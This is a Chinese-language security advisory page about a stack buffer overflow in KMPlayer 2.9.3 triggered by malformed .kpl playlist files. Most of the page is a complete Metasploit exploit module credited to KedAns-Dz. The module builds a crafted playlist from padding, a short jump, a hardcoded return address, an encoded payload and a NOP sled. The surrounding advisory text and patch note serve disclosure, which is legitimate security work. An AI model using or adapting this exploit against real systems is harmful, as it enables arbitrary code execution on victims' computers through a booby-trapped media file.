发布日期：2011-04-22
更新日期：2011-04-22

受影响系统：

KMPlayer KMPlayer 2.9.3

描述：

---

BUGTRAQ  ID: 47538

KMPlayer是来自韩国的影音全能播放器，是从linux平台移植而来的，几乎可以播放您系统上所有的影音文件。

KMPlayer在处理畸形.kpl文件时存在远程缓冲区溢出漏洞，远程攻击者可利用此漏洞在受影响应用程序中执行任意代码，造成拒绝服务。

<*来源：KedAns-Dz
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day[.]com                                   0
1  [+] Support e-mail  : submit[at]1337day[.]com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

# KMPlayer <=2.9.x (.kpl) Stack Buffer Overflow (meta)
# By KedAns-Dz
# $ kmp_sbof.rb | 21/04/2011 13:30 $
# Windows XP Sp3 Fr

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name' => 'KMPlayer 2.9.x (.kpl) Stack Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack buffer overflow in versions v2.9.3
                creating a specially crafted .kpl file, an attacker may be able
                to execute arbitrary code.
            },
            'License' => MSF_LICENSE,
            'Author' => 'KedAns-Dz <ked-h[at]hotmail.com>',
            'Version' => 'Version 1',
            'References' =>
                [
                    [ 'URL', 'Not Detected Olden This' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload' =>
                {
                    'Space' => 1900,
                    'BadChars' => "\x00\x20\x0a\x0d",
                    'StackAdjustment' => -3500,
                    'DisableNops' => 'True',
                    'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
                    'EncoderOptions' =>
                        {
                            'BufferRegister' => 'ESI',
                        }
                },
            'Platform' => 'win',
            'Targets' =>
                [
                    [ 'Windows XP SP3 France', { 'Ret' => 0x0247fff4} ], # CALL from  ntdll.dll

                ],
            'Privileged' => false,
            'DefaultTarget' => 0))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'KedAns.kpl']),
            ], self.class)
    end


    def exploit

    sploit = "[playlist]\n"
        sploit << "NumberOfEntries=1\n"
        sploit << "File1=http://"
        sploit << "\x41" * 200 # buffer Junk
        sploit << "\xeb\x06\x90\x90"  # short jump
        sploit << "\x90" * 30 # nop
        sploit << [target.ret].pack('V')
        sploit << payload.encoded
        sploit << "\x90" * 543 # nop sled
        sploit << ".mp3"
        ked = sploit
        print_status("Creating '#{datastore['FILENAME']}' file ...")
        file_create(ked)

    end

end

建议：

---

厂商补丁：

KMPlayer
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.kmpmedia.net/

浏览次数：2670
严重程度：0（网友投票）